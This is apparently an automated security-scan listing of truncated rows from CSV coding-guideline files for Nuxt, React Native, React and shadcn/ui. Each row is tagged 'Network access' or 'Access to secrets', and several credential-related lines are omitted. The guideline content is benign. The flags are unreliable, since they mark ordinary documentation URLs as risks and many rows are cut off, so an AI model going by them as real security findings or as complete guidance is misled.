50,Plugins,Use provide for injection,Provide helpers across app,return { provide: {} } for type safety,nuxtApp.provide without types,"return { provide: { hello: (name) => `Hello ${name}!` } }","nuxtApp.provide('hello', fn)",Medium,https://n - Network accessline 52
51,Plugins,Use .client or .server suffix,Control plugin execution environment,plugin.client.ts for client-only,if (process.client) checks,analytics.client.ts,"if (process.client) { // analytics }",Medium,https://nuxt.com/docs/guide/director - Network accessline 53
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Network accessline 54
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Network accessline 55
54,Environment,Access public config with useRuntimeConfig,Get public config in components,useRuntimeConfig().public,Direct process.env access,const config = useRuntimeConfig(); config.public.apiBase,process.env.NUXT_PUBLIC_API_BASE,High,htt - Network accessline 56
55,Environment,Keep secrets in private config,Server-only secrets in runtimeConfig root,runtimeConfig.apiSecret (server only),Secrets in public config,runtimeConfig: { dbPassword: '' },runtimeConfig: { public: { dbPassword: '' } },High,http - Network accessline 57
56,Performance,Use Lazy prefix for code splitting,Lazy load components with Lazy prefix,<LazyComponent> for below-fold,Eager load all components,<LazyMountainsList v-if="show"/>,<MountainsList/> for hidden content,Medium,https://nuxt.com/do - Network accessline 58
57,Performance,Use useLazyFetch for non-blocking data,Alias for useFetch with lazy: true,useLazyFetch for secondary data,useFetch for all requests,"const { data } = useLazyFetch('/api/comments')",await useFetch for comments section,Medium,h - Network accessline 59
58,Performance,Use lazy hydration for interactivity,Delay component hydration until needed,LazyComponent with hydration strategy,Immediate hydration for all,<LazyModal hydrate-on-visible/>,<Modal/> in footer,Low,https://nuxt.com/docs/guide/
skills/ui-ux-pro-max/data/stacks/react-native.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Components,Use functional components,Hooks-based components are standard,Functional components with hooks,Class components,const App = () => { },class App ext - Network accessline 2
1,Components,Use functional components,Hooks-based components are standard,Functional components with hooks,Class components,const App = () => { },class App extends Component,Medium,https://reactnative.dev/docs/intro-react - Network accessline 4
3,Components,Use TypeScript,Type safety for props and state,TypeScript for new projects,JavaScript without types,const Button: FC<Props> = () => { },const Button = (props) => { },Medium, 4,Components,Colocate component files,Keep related fi - Network accessline 5
4,Components,Colocate component files,Keep related files together,Component folder with styles,Flat structure,components/Button/index.tsx styles.ts,components/Button.tsx styles/button.ts,Low, 5,Styling,Use StyleSheet.create,Optimized style - Network accessline 6
5,Styling,Use StyleSheet.create,Optimized style objects,StyleSheet for all styles,Inline style objects,StyleSheet.create({ container: {} }),style={{ margin: 10 }},High,https://reactnative.dev/docs/stylesheet - Network accessline 7
6,Styling,Avoid inline styles,Prevent object recreation,Styles in StyleSheet,Inline style objects in render,style={styles.container},"style={{ margin: 10, padding: 5 }}",Medium, 7,Styling,Use flexbox for layout,React Native uses flexbox,fle - Network accessline 8
7,Styling,Use flexbox for layout,React Native uses flexbox,flexDirection alignItems justifyContent,Absolute positioning everywhere,flexDirection: 'row',position: 'absolute' everywhere,Medium,https://reactnative.dev/docs/flexbox - Network accessline 9
8,Styling,Handle platform differences,Platform-specific styles,Platform.select or .ios/.android files,Same styles for both platforms,"Platform.select({ ios: {}, android: {} })",Hardcoded iOS values,Medium,https://reactnative.dev/docs/platfo - Network accessline 10
9,Styling,Use responsive dimensions,Scale for different screens,Dimensions or useWindowDimensions,Fixed pixel values,useWindowDimensions(),width: 375,Medium, 10,Navigation,Use React Navigation,Standard navigation library,React Navigation fo - Network accessline 11
10,Navigation,Use React Navigation,Standard navigation library,React Navigation for routing,Manual navigation management,createStackNavigator(),Custom navigation state,Medium,https://reactnavigation.org/ - Network accessline 12
11,Navigation,Type navigation params,Type-safe navigation,Typed navigation props,Untyped navigation,"navigation.navigate<RootStackParamList>('Home', { id })","navigation.navigate('Home', { id })",Medium, 12,Navigation,Use deep linking,Suppo - Network accessline 13
12,Navigation,Use deep linking,Support URL-based navigation,Configure linking prop,No deep link support,linking: { prefixes: [] },No linking configuration,Medium,https://reactnavigation.org/docs/deep-linking/ - Network accessline 17
16,State,Use context sparingly,Context for global state,Context for theme auth locale,Context for frequently changing data,ThemeContext for app theme,Context for list item data,Medium, 17,State,Consider Zustand or Redux,External state manag - Network accessline 18
17,State,Consider Zustand or Redux,External state management,Zustand for simple Redux for complex,useState for global state,create((set) => ({ })),Prop drilling global state,Medium, 18,Lists,Use FlatList for long lists,Virtualized list rend - Network accessline 19
18,Lists,Use FlatList for long lists,Virtualized list rendering,FlatList for 50+ items,ScrollView with map,<FlatList data={items} />,<ScrollView>{items.map()}</ScrollView>,High,https://reactnative.dev/docs/flatlist - Network accessline 26
25,Performance,Use useMemo for expensive ops,Cache expensive calculations,useMemo for heavy computations,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensive(),Medium, 26,Performance,Avoid anonymous functio - Network accessline 27
26,Performance,Avoid anonymous functions in JSX,Prevent re-renders,Named handlers or useCallback,Inline arrow functions,onPress={handlePress},onPress={() => doSomething()},Medium, 27,Performance,Use Hermes engine,Improved startup and memory - Network accessline 28
27,Performance,Use Hermes engine,Improved startup and memory,Enable Hermes in build,JavaScriptCore for new projects,hermes_enabled: true,hermes_enabled: false,Medium,https://reactnative.dev/docs/hermes - Network accessline 29
28,Images,Use expo-image,Modern performant image component for React Native,"Use expo-image for caching, blurring, and performance",Use default Image for heavy lists or unmaintained libraries,<Image source={url} cachePolicy='memory-disk' /> - Network accessline 31
30,Images,Use resizeMode,Control image scaling,resizeMode cover contain,Stretch images,"resizeMode=""cover""",No resizeMode,Low, 31,Forms,Use controlled inputs,State-controlled form fields,value + onChangeText,Uncontrolled inputs,<TextInput - Network accessline 32
31,Forms,Use controlled inputs,State-controlled form fields,value + onChangeText,Uncontrolled inputs,<TextInput value={text} onChangeText={setText} />,<TextInput defaultValue={text} />,Medium, 32,Forms,Handle keyboard,Manage keyboard visibi - Network accessline 33
32,Forms,Handle keyboard,Manage keyboard visibility,KeyboardAvoidingView,Content hidden by keyboard,"<KeyboardAvoidingView behavior=""padding"">",No keyboard handling,High,https://reactnative.dev/docs/keyboardavoidingview - Network accessline 34
33,Forms,Use proper keyboard types,Appropriate keyboard for input,keyboardType for input type,Default keyboard for all,"keyboardType=""email-address""","keyboardType=""default"" for email",Low, 34,Touch,Use Pressable,Modern touch handling,P - Network accessline 35
34,Touch,Use Pressable,Modern touch handling,Pressable for touch interactions,TouchableOpacity for new code,<Pressable onPress={} />,<TouchableOpacity onPress={} />,Low,https://reactnative.dev/docs/pressable - Network accessline 36
35,Touch,Provide touch feedback,Visual feedback on press,Ripple or opacity change,No feedback on press,android_ripple={{ color: 'gray' }},No press feedback,Medium, 36,Touch,Set hitSlop for small targets,Increase touch area,hitSlop for icons - Network accessline 37
36,Touch,Set hitSlop for small targets,Increase touch area,hitSlop for icons and small buttons,Tiny touch targets,hitSlop={{ top: 10 bottom: 10 }},44x44 with no hitSlop,Medium, 37,Animation,Use Reanimated,High-performance animations,react-n - Network accessline 38
37,Animation,Use Reanimated,High-performance animations,react-native-reanimated,Animated API for complex,useSharedValue useAnimatedStyle,Animated.timing for gesture,Medium,https://docs.swmansion.com/react-native-reanimated/ - Network accessline 39
38,Animation,Run on UI thread,worklets for smooth animation,Run animations on UI thread,JS thread animations,runOnUI(() => {}),Animated on JS thread,High, 39,Animation,Use gesture handler,Native gesture recognition,react-native-gesture-hand - Network accessline 40
39,Animation,Use gesture handler,Native gesture recognition,react-native-gesture-handler,JS-based gesture handling,<GestureDetector>,<View onTouchMove={} />,Medium,https://docs.swmansion.com/react-native-gesture-handler/ 40,Async,Handle loa - Network accessline 42
41,Async,Handle errors gracefully,Error boundaries and fallbacks,Error UI for failed requests,Crash on error,{error ? <ErrorView /> : <Content />},No error handling,High, 42,Async,Cancel async operations,Cleanup on unmount,AbortController o - Network accessline 43
42,Async,Cancel async operations,Cleanup on unmount,AbortController or cleanup,Memory leaks from async,useEffect cleanup,No cleanup for subscriptions,High, 43,Accessibility,Add accessibility labels,Describe UI elements,accessibilityLabel fo - Network accessline 44
43,Accessibility,Add accessibility labels,Describe UI elements,accessibilityLabel for all interactive,Missing labels,"accessibilityLabel=""Submit form""",<Pressable> without label,High,https://reactnative.dev/docs/accessibility - Network accessline 45
44,Accessibility,Use accessibility roles,Semantic meaning,accessibilityRole for elements,Wrong roles,"accessibilityRole=""button""",No role for button,Medium, 45,Accessibility,Support screen readers,Test with TalkBack/VoiceOver,Test with sc - Network accessline 46
45,Accessibility,Support screen readers,Test with TalkBack/VoiceOver,Test with screen readers,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High, 46,Testing,Use React Native Testing Library,Component testing,r - Network accessline 47
46,Testing,Use React Native Testing Library,Component testing,render and fireEvent,Enzyme or manual testing,render(<Component />),shallow(<Component />),Medium,https://callstack.github.io/react-native-testing-library/ - Network accessline 48
47,Testing,Test on real devices,Real device behavior,Test on iOS and Android devices,Simulator only,Device testing in CI,Simulator only testing,High, 48,Testing,Use Detox for E2E,End-to-end testing,Detox for critical flows,Manual E2E testin - Network accessline 49
48,Testing,Use Detox for E2E,End-to-end testing,Detox for critical flows,Manual E2E testing,detox test,Manual testing only,Medium,https://wix.github.io/Detox/ - Network accessline 50
49,Native,Use native modules carefully,Bridge has overhead,Batch native calls,Frequent bridge crossing,Batch updates,Call native on every keystroke,High, 50,Native,Use Expo when possible,Simplified development,Expo for standard features,Bar - Network accessline 51
50,Native,Use Expo when possible,Simplified development,Expo for standard features,Bare RN for simple apps,expo install package,react-native link package,Low,https://docs.expo.dev/ - Network accessline 52
51,Native,Handle permissions,Request permissions properly,Check and request permissions,Assume permissions granted,PermissionsAndroid.request(),Access without permission check,High,https://reactnative.dev/docs/permissionsandroid
skills/ui-ux-pro-max/data/stacks/react.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,State,Use useState for local state,Simple component state should use useState hook,useState for form inputs toggles counters,Class components this.state,"cons - Network accessline 2
1,State,Use useState for local state,Simple component state should use useState hook,useState for form inputs toggles counters,Class components this.state,"const [count, setCount] = useState(0)",this.state = { count: 0 },Medium,https://reac - Network accessline 3
2,State,Lift state up when needed,Share state between siblings by lifting to parent,Lift shared state to common ancestor,Prop drilling through many levels,Parent holds state passes down,Deep prop chains,Medium,https://react.dev/learn/sharin - Network accessline 4
3,State,Use useReducer for complex state,Complex state logic benefits from reducer pattern,useReducer for state with multiple sub-values,Multiple useState for related values,useReducer with action types,5+ useState calls that update togethe - Network accessline 5
4,State,Avoid unnecessary state,Derive values from existing state when possible,Compute derived values in render,Store derivable values in state,const total = items.reduce(...),"const [total, setTotal] = useState(0)",High,https://react.dev/ - Network accessline 6
5,State,Initialize state lazily,Use function form for expensive initial state,useState(() => computeExpensive()),useState(computeExpensive()),useState(() => JSON.parse(data)),useState(JSON.parse(data)),Medium,https://react.dev/reference/rea - Network accessline 7
6,Effects,Clean up effects,Return cleanup function for subscriptions timers,Return cleanup function in useEffect,No cleanup for subscriptions,useEffect(() => { sub(); return unsub; }),useEffect(() => { subscribe(); }),High,https://react.dev - Network accessline 8
7,Effects,Specify dependencies correctly,Include all values used inside effect in deps array,All referenced values in dependency array,Empty deps with external references,[value] when using value in effect,[] when using props/state in effec - Network accessline 9
8,Effects,Avoid unnecessary effects,Don't use effects for transforming data or events,Transform data during render handle events directly,useEffect for derived state or event handling,const filtered = items.filter(...),useEffect(() => setFi - Network accessline 10
9,Effects,Use refs for non-reactive values,Store values that don't trigger re-renders in refs,useRef for interval IDs DOM elements,useState for values that don't need render,const intervalRef = useRef(null),"const [intervalId, setIntervalId - Network accessline 11
10,Rendering,Use keys properly,Stable unique keys for list items,Use stable IDs as keys,Array index as key for dynamic lists,key={item.id},key={index},High,https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key - Network accessline 12
11,Rendering,Memoize expensive calculations,Use useMemo for costly computations,useMemo for expensive filtering/sorting,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensiveCalc(),Medium,https://react.dev/re - Network accessline 13
12,Rendering,Memoize callbacks passed to children,Use useCallback for functions passed as props,useCallback for handlers passed to memoized children,New function reference every render,"useCallback(() => {}, [deps])",const handler = () => { - Network accessline 14
13,Rendering,Use React.memo wisely,Wrap components that render often with same props,memo for pure components with stable props,memo everything or nothing,memo(ExpensiveList),memo(SimpleButton),Low,https://react.dev/reference/react/memo - Network accessline 15
14,Rendering,Avoid inline object/array creation in JSX,Create objects outside render or memoize,Define style objects outside component,Inline objects in props,<div style={styles.container}>,<div style={{ margin: 10 }}>,Medium, 15,Components - Network accessline 16
15,Components,Keep components small and focused,Single responsibility for each component,One concern per component,Large multi-purpose components,<UserAvatar /><UserName />,<UserCard /> with 500 lines,Medium, 16,Components,Use composition o - Network accessline 17
16,Components,Use composition over inheritance,Compose components using children and props,Use children prop for flexibility,Inheritance hierarchies,<Card>{content}</Card>,class SpecialCard extends Card,Medium,https://react.dev/learn/thinki - Network accessline 18
17,Components,Colocate related code,Keep related components and hooks together,Related files in same directory,Flat structure with many files,components/User/UserCard.tsx,components/UserCard.tsx + hooks/useUser.ts,Low, 18,Components,Use fra - Network accessline 19
18,Components,Use fragments to avoid extra DOM,Fragment or <> for multiple elements without wrapper,<> for grouping without DOM node,Extra div wrappers,<>{items.map(...)}</>,<div>{items.map(...)}</div>,Low,https://react.dev/reference/react/ - Network accessline 20
19,Props,Destructure props,Destructure props for cleaner component code,Destructure in function signature,props.name props.value throughout,"function User({ name, age })",function User(props),Low, 20,Props,Provide default props values,Use d - Network accessline 21
20,Props,Provide default props values,Use default parameters or defaultProps,Default values in destructuring,Undefined checks throughout,function Button({ size = 'md' }),if (size === undefined) size = 'md',Low, 21,Props,Avoid prop drilling, - Network accessline 22
21,Props,Avoid prop drilling,Use context or composition for deeply nested data,Context for global data composition for UI,Passing props through 5+ levels,<UserContext.Provider>,<A user={u}><B user={u}><C user={u}>,Medium,https://react.dev/l - Network accessline 23
22,Props,Validate props with TypeScript,Use TypeScript interfaces for prop types,interface Props { name: string },PropTypes or no validation,interface ButtonProps { onClick: () => void },Button.propTypes = {},Medium, 23,Events,Use synthetic - Network accessline 24
23,Events,Use synthetic events correctly,React normalizes events across browsers,e.preventDefault() e.stopPropagation(),Access native event unnecessarily,onClick={(e) => e.preventDefault()},onClick={(e) => e.nativeEvent.preventDefault()},Lo - Network accessline 25
24,Events,Avoid binding in render,Use arrow functions in class or hooks,Arrow functions in functional components,bind in render or constructor,const handleClick = () => {},this.handleClick.bind(this),Medium, 25,Events,Pass event handlers no - Network accessline 26
25,Events,Pass event handlers not call results,Pass function reference not invocation,onClick={handleClick},onClick={handleClick()} causing immediate call,onClick={handleClick},onClick={handleClick()},High, 26,Forms,Controlled components fo - Network accessline 27
26,Forms,Controlled components for forms,Use state to control form inputs,value + onChange for inputs,Uncontrolled inputs with refs,<input value={val} onChange={setVal}>,<input ref={inputRef}>,Medium,https://react.dev/reference/react-dom/co - Network accessline 28
27,Forms,Handle form submission properly,Prevent default and handle in submit handler,onSubmit with preventDefault,onClick on submit button only,<form onSubmit={handleSubmit}>,<button onClick={handleSubmit}>,Medium, 28,Forms,Debounce rapid - Network accessline 29
28,Forms,Debounce rapid input changes,Debounce search/filter inputs,useDeferredValue or debounce for search,Filter on every keystroke,useDeferredValue(searchTerm),useEffect filtering on every change,Medium,https://react.dev/reference/react/ - Network accessline 30
29,Hooks,Follow rules of hooks,Only call hooks at top level and in React functions,Hooks at component top level,Hooks in conditions loops or callbacks,"const [x, setX] = useState()","if (cond) { const [x, setX] = useState() }",High,https:// - Network accessline 31
30,Hooks,Custom hooks for reusable logic,Extract shared stateful logic to custom hooks,useCustomHook for reusable patterns,Duplicate hook logic across components,const { data } = useFetch(url),Duplicate useEffect/useState in components,Medi - Network accessline 32
31,Hooks,Name custom hooks with use prefix,Custom hooks must start with use,useFetch useForm useAuth,fetchData or getData for hook,function useFetch(url),function fetchData(url),High, 32,Context,Use context for global data,Context for theme - Network accessline 33
32,Context,Use context for global data,Context for theme auth locale,Context for app-wide state,Context for frequently changing data,<ThemeContext.Provider>,Context for form field values,Medium,https://react.dev/learn/passing-data-deeply-wi - Network accessline 34
33,Context,Split contexts by concern,Separate contexts for different domains,ThemeContext + AuthContext,One giant AppContext,<ThemeProvider><AuthProvider>,<AppProvider value={{theme user...}}>,Medium, 34,Context,Memoize context values,Preve - Network accessline 35
34,Context,Memoize context values,Prevent unnecessary re-renders with useMemo,useMemo for context value object,New object reference every render,"value={useMemo(() => ({...}), [])}","value={{ user, theme }}",High, 35,Performance,Use React D - Network accessline 36
35,Performance,Use React DevTools Profiler,Profile to identify performance bottlenecks,Profile before optimizing,Optimize without measuring,React DevTools Profiler,Guessing at bottlenecks,Medium,https://react.dev/learn/react-developer-tools - Network accessline 37
36,Performance,Lazy load components,Use React.lazy for code splitting,lazy() for routes and heavy components,Import everything upfront,const Page = lazy(() => import('./Page')),import Page from './Page',Medium,https://react.dev/reference/re - Network accessline 38
37,Performance,Virtualize long lists,Use windowing for lists over 100 items,react-window or react-virtual,Render thousands of DOM nodes,<VirtualizedList items={items}/>,{items.map(i => <Item />)},High, 38,Performance,Batch state updates,Rea - Network accessline 39
38,Performance,Batch state updates,React 18 auto-batches but be aware,Let React batch related updates,Manual batching with flushSync,setA(1); setB(2); // batched,flushSync(() => setA(1)),Low,https://react.dev/learn/queueing-a-series-of-stat - Network accessline 40
39,ErrorHandling,Use error boundaries,Catch JavaScript errors in component tree,ErrorBoundary wrapping sections,Let errors crash entire app,<ErrorBoundary><App/></ErrorBoundary>,No error handling,High,https://react.dev/reference/react/Compo - Network accessline 41
40,ErrorHandling,Handle async errors,Catch errors in async operations,try/catch in async handlers,Unhandled promise rejections,try { await fetch() } catch(e) {},await fetch() // no catch,High, - Network accessline 42
41,Testing,Test behavior not implementation,Test what user sees and does,Test renders and interactions,Test internal state or methods,expect(screen.getByText('Hello')),expect(component.state.name),Medium,https://testing-library.com/docs/rea - Network accessline 43
42,Testing,Use testing-library queries,Use accessible queries,getByRole getByLabelText,getByTestId for everything,getByRole('button'),getByTestId('submit-btn'),Medium,https://testing-library.com/docs/queries/about#priority - Network accessline 44
43,Accessibility,Use semantic HTML,Proper HTML elements for their purpose,button for clicks nav for navigation,div with onClick for buttons,<button onClick={...}>,<div onClick={...}>,High,https://react.dev/reference/react-dom/components#all - Network accessline 51
50,TypeScript,Use generics for reusable components,Generic components for flexible typing,Generic props for list components,Union types for flexibility,<List<T> items={T[]}>,<List items={any[]}>,Medium, 51,Patterns,Container/Presentational - Network accessline 52
51,Patterns,Container/Presentational split,Separate data logic from UI,Container fetches presentational renders,Mixed data and UI in one,<UserContainer><UserView/></UserContainer>,<User /> with fetch and render,Low, 52,Patterns,Render props - Network accessline 53
52,Patterns,Render props for flexibility,Share code via render prop pattern,Render prop for customizable rendering,Duplicate logic across components,<DataFetcher render={data => ...}/>,Copy paste fetch logic,Low,https://react.dev/reference/
skills/ui-ux-pro-max/data/stacks/shadcn.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Setup,Use CLI for installation,Install components via shadcn CLI for proper setup,npx shadcn@latest add component-name,Manual copy-paste from docs,npx shadcn@ - Network accessline 2
1,Setup,Use CLI for installation,Install components via shadcn CLI for proper setup,npx shadcn@latest add component-name,Manual copy-paste from docs,npx shadcn@latest add button,Copy component code manually,High,https://ui.shadcn.com/docs/c - Network accessline 3
2,Setup,Initialize project properly,Run init command to set up components.json and globals.css,npx shadcn@latest init before adding components,Skip init and add components directly,npx shadcn@latest init,npx shadcn@latest add button (withou - Network accessline 4
3,Setup,Configure path aliases,Set up proper import aliases in tsconfig and components.json,Use @/components/ui path aliases,Relative imports like ../../components,import { Button } from "@/components/ui/button",import { Button } from "../. - Network accessline 5
4,Theming,Use CSS variables for colors,Define colors as CSS variables in globals.css for theming,CSS variables in :root and .dark,Hardcoded color values in components,bg-primary text-primary-foreground,bg-blue-500 text-white,High,https://ui - Network accessline 6
5,Theming,Follow naming convention,Use semantic color names with foreground pattern,primary/primary-foreground secondary/secondary-foreground,Generic color names,--primary --primary-foreground,--blue --light-blue,Medium,https://ui.shadcn.co - Network accessline 7
6,Theming,Support dark mode,Include .dark class styles for all custom CSS,Define both :root and .dark color schemes,Only light mode colors,.dark { --background: 240 10% 3.9%; },No .dark class styles,High,https://ui.shadcn.com/docs/dark-mode - Network accessline 8
7,Components,Use component variants,Leverage cva variants for consistent styling,Use variant prop for different styles,Inline conditional classes,<Button variant="destructive">,<Button className={isError ? "bg-red-500" : "bg-blue-500"}>,Med - Network accessline 9
8,Components,Compose with className,Add custom classes via className prop for overrides,Extend with className for one-off customizations,Modify component source directly,<Button className="w-full">,Edit button.tsx to add w-full,Medium,https - Network accessline 10
9,Components,Use size variants consistently,Apply size prop for consistent sizing across components,size="sm" size="lg" for sizing,Mix size classes inconsistently,<Button size="lg">,<Button className="text-lg px-8 py-4">,Medium,https://ui.s - Network accessline 11
10,Components,Prefer compound components,Use provided sub-components for complex UI,Card + CardHeader + CardContent pattern,Single component with many props,<Card><CardHeader><CardTitle>,<Card title="x" content="y" footer="z">,Medium,https: - Network accessline 12
11,Dialog,Use Dialog for modal content,Dialog component for overlay modal windows,Dialog for confirmations forms details,Alert for modal content,<Dialog><DialogContent>,<Alert> styled as modal,High,https://ui.shadcn.com/docs/components/dial - Network accessline 13
12,Dialog,Handle dialog state properly,Use open and onOpenChange for controlled dialogs,Controlled state with useState,Uncontrolled with default open only,"<Dialog open={open} onOpenChange={setOpen}>","<Dialog defaultOpen={true}>",Medium,ht - Network accessline 14
13,Dialog,Include proper dialog structure,Use DialogHeader DialogTitle DialogDescription,Complete semantic structure,Missing title or description,<DialogHeader><DialogTitle><DialogDescription>,<DialogContent><p>Content</p></DialogContent>,H - Network accessline 15
14,Sheet,Use Sheet for side panels,Sheet component for slide-out panels and drawers,Sheet for navigation filters settings,Dialog for side content,<Sheet side="right">,<Dialog> with slide animation,Medium,https://ui.shadcn.com/docs/component - Network accessline 16
15,Sheet,Specify sheet side,Set side prop for sheet slide direction,Explicit side="left" or side="right",Default side without consideration,<Sheet><SheetContent side="left">,<Sheet><SheetContent>,Low,https://ui.shadcn.com/docs/components/sh - Network accessline 17
16,Form,Use Form with react-hook-form,Integrate Form component with react-hook-form for validation,useForm + Form + FormField pattern,Custom form handling without Form,<Form {...form}><FormField control={form.control}>,<form onSubmit={handl - Network accessline 18
17,Form,Use FormField for inputs,Wrap inputs in FormField for proper labeling and errors,FormField + FormItem + FormLabel + FormControl,Input without FormField wrapper,<FormField><FormItem><FormLabel><FormControl><Input>,<Input onChange={.. - Network accessline 19
18,Form,Display form messages,Use FormMessage for validation error display,FormMessage after FormControl,Custom error text without FormMessage,<FormControl><Input/></FormControl><FormMessage/>,<Input/>{error && <span>{error}</span>},Medium, - Network accessline 20
19,Form,Use Zod for validation,Define form schema with Zod for type-safe validation,zodResolver with form schema,Manual validation logic,zodResolver(formSchema),validate: (values) => { if (!values.email) },Medium,https://ui.shadcn.com/docs/ - Network accessline 21
20,Select,Use Select for dropdowns,Select component for option selection,Select for choosing from list,Native select element,<Select><SelectTrigger><SelectContent>,<select><option>,Medium,https://ui.shadcn.com/docs/components/select - Network accessline 22
21,Select,Structure Select properly,Include Trigger Value Content and Items,Complete Select structure,Missing SelectValue or SelectContent,<SelectTrigger><SelectValue/></SelectTrigger><SelectContent><SelectItem>,<Select><option>,High,https: - Network accessline 23
22,Command,Use Command for search,Command component for searchable lists and palettes,Command for command palette search,Input with custom dropdown,<Command><CommandInput><CommandList>,<Input><div className="dropdown">,Medium,https://ui.sha - Network accessline 24
23,Command,Group command items,Use CommandGroup for categorized items,CommandGroup with heading for sections,Flat list without grouping,<CommandGroup heading="Suggestions"><CommandItem>,<CommandItem> without groups,Low,https://ui.shadcn.com - Network accessline 25
24,Table,Use Table for data display,Table component for structured data,Table for tabular data display,Div grid for table-like layouts,<Table><TableHeader><TableBody><TableRow>,<div className="grid">,Medium,https://ui.shadcn.com/docs/compon - Network accessline 26
25,Table,Include proper table structure,Use TableHeader TableBody TableRow TableCell,Semantic table structure,Missing thead or tbody,<TableHeader><TableRow><TableHead>,<Table><TableRow> without header,High,https://ui.shadcn.com/docs/compone - Network accessline 27
26,DataTable,Use DataTable for complex tables,Combine Table with TanStack Table for features,DataTable pattern for sorting filtering pagination,Custom table implementation,useReactTable + Table components,Custom sort filter pagination logic - Network accessline 28
27,Tabs,Use Tabs for content switching,Tabs component for tabbed interfaces,Tabs for related content sections,Custom tab implementation,<Tabs><TabsList><TabsTrigger><TabsContent>,<div onClick={() => setTab(...)},Medium,https://ui.shadcn.com - Network accessline 29
28,Tabs,Set default tab value,Specify defaultValue for initial tab,defaultValue on Tabs component,No default leaving first tab,<Tabs defaultValue="account">,<Tabs> without defaultValue,Low,https://ui.shadcn.com/docs/components/tabs - Network accessline 30
29,Accordion,Use Accordion for collapsible,Accordion for expandable content sections,Accordion for FAQ settings panels,Custom collapse implementation,<Accordion><AccordionItem><AccordionTrigger>,<div onClick={() => setOpen(!open)}>,Medium,h - Network accessline 31
30,Accordion,Choose accordion type,Use type="single" or type="multiple" appropriately,type="single" for one open type="multiple" for many,Default type without consideration,<Accordion type="single" collapsible>,<Accordion> without type,Low, - Network accessline 32
31,Toast,Use Sonner for toasts,Sonner integration for toast notifications,toast() from sonner for notifications,Custom toast implementation,toast("Event created"),setShowToast(true),Medium,https://ui.shadcn.com/docs/components/sonner - Network accessline 33
32,Toast,Add Toaster to layout,Include Toaster component in root layout,<Toaster /> in app layout,Toaster in individual pages,app/layout.tsx: <Toaster />,page.tsx: <Toaster />,High,https://ui.shadcn.com/docs/components/sonner - Network accessline 34
33,Toast,Use toast variants,Apply toast.success toast.error for context,Semantic toast methods,Generic toast for all messages,toast.success("Saved!") toast.error("Failed"),toast("Saved!") toast("Failed"),Medium,https://ui.shadcn.com/docs/co - Network accessline 35
34,Popover,Use Popover for floating content,Popover for dropdown menus and floating panels,Popover for contextual actions,Absolute positioned divs,<Popover><PopoverTrigger><PopoverContent>,<div className="relative"><div className="absolute" - Network accessline 36
35,Popover,Handle popover alignment,Use align and side props for positioning,Explicit alignment configuration,Default alignment for all,<PopoverContent align="start" side="bottom">,<PopoverContent>,Low,https://ui.shadcn.com/docs/components/ - Network accessline 37
36,DropdownMenu,Use DropdownMenu for actions,DropdownMenu for action lists and context menus,DropdownMenu for user menu actions,Popover for action lists,<DropdownMenu><DropdownMenuTrigger><DropdownMenuContent>,<Popover> for menu actions,Med - Network accessline 38
37,DropdownMenu,Group menu items,Use DropdownMenuGroup and DropdownMenuSeparator,Organized menu with separators,Flat list of items,<DropdownMenuGroup><DropdownMenuItem><DropdownMenuSeparator>,<DropdownMenuItem> without organization,Low,http - Network accessline 39
38,Tooltip,Use Tooltip for hints,Tooltip for icon buttons and truncated text,Tooltip for additional context,Title attribute for tooltips,<Tooltip><TooltipTrigger><TooltipContent>,<button title="Delete">,Medium,https://ui.shadcn.com/docs/com - Network accessline 40
39,Tooltip,Add TooltipProvider,Wrap app or section in TooltipProvider,TooltipProvider at app level,TooltipProvider per tooltip,<TooltipProvider><App/></TooltipProvider>,<Tooltip><TooltipProvider>,High,https://ui.shadcn.com/docs/components/t - Network accessline 41
40,Skeleton,Use Skeleton for loading,Skeleton component for loading placeholders,Skeleton matching content layout,Spinner for content loading,<Skeleton className="h-4 w-[200px]"/>,<Spinner/> for card loading,Medium,https://ui.shadcn.com/doc - Network accessline 42
41,Skeleton,Match skeleton dimensions,Size skeleton to match loaded content,Skeleton same size as expected content,Generic skeleton size,<Skeleton className="h-12 w-12 rounded-full"/>,<Skeleton/> without sizing,Medium,https://ui.shadcn.com/ - Network accessline 43
42,AlertDialog,Use AlertDialog for confirms,AlertDialog for destructive action confirmation,AlertDialog for delete confirmations,Dialog for confirmations,<AlertDialog><AlertDialogTrigger><AlertDialogContent>,<Dialog> for delete confirmation - Network accessline 44
43,AlertDialog,Include action buttons,Use AlertDialogAction and AlertDialogCancel,Standard confirm/cancel pattern,Custom buttons in AlertDialog,<AlertDialogCancel>Cancel</AlertDialogCancel><AlertDialogAction>,<Button>Cancel</Button><Button> - Network accessline 45
44,Sidebar,Use Sidebar for navigation,Sidebar component for app navigation,Sidebar for main app navigation,Custom sidebar implementation,<SidebarProvider><Sidebar><SidebarContent>,<div className="w-64 fixed">,Medium,https://ui.shadcn.com/do - Network accessline 46
45,Sidebar,Wrap in SidebarProvider,Use SidebarProvider for sidebar state management,SidebarProvider at layout level,Sidebar without provider,<SidebarProvider><Sidebar></SidebarProvider>,<Sidebar> without provider,High,https://ui.shadcn.com/ - Network accessline 47
46,Sidebar,Use SidebarTrigger,Include SidebarTrigger for mobile toggle,SidebarTrigger for responsive toggle,Custom toggle button,<SidebarTrigger/>,<Button onClick={() => toggleSidebar()}>,Medium,https://ui.shadcn.com/docs/components/sidebar - Network accessline 48
47,Chart,Use Chart for data viz,Chart component with Recharts integration,Chart component for dashboards,Direct Recharts without wrapper,<ChartContainer config={chartConfig}>,<ResponsiveContainer><BarChart>,Medium,https://ui.shadcn.com/docs - Network accessline 49
48,Chart,Define chart config,Create chartConfig for consistent theming,chartConfig with color definitions,Inline colors in charts,"{ desktop: { label: ""Desktop"", color: ""#2563eb"" } }",<Bar fill="#2563eb"/>,Medium,https://ui.shadcn.com/d - Network accessline 50
49,Chart,Use ChartTooltip,Apply ChartTooltip for interactive charts,ChartTooltip with ChartTooltipContent,Recharts Tooltip directly,<ChartTooltip content={<ChartTooltipContent/>}/>,<Tooltip/> from recharts,Low,https://ui.shadcn.com/docs/com - Network accessline 51
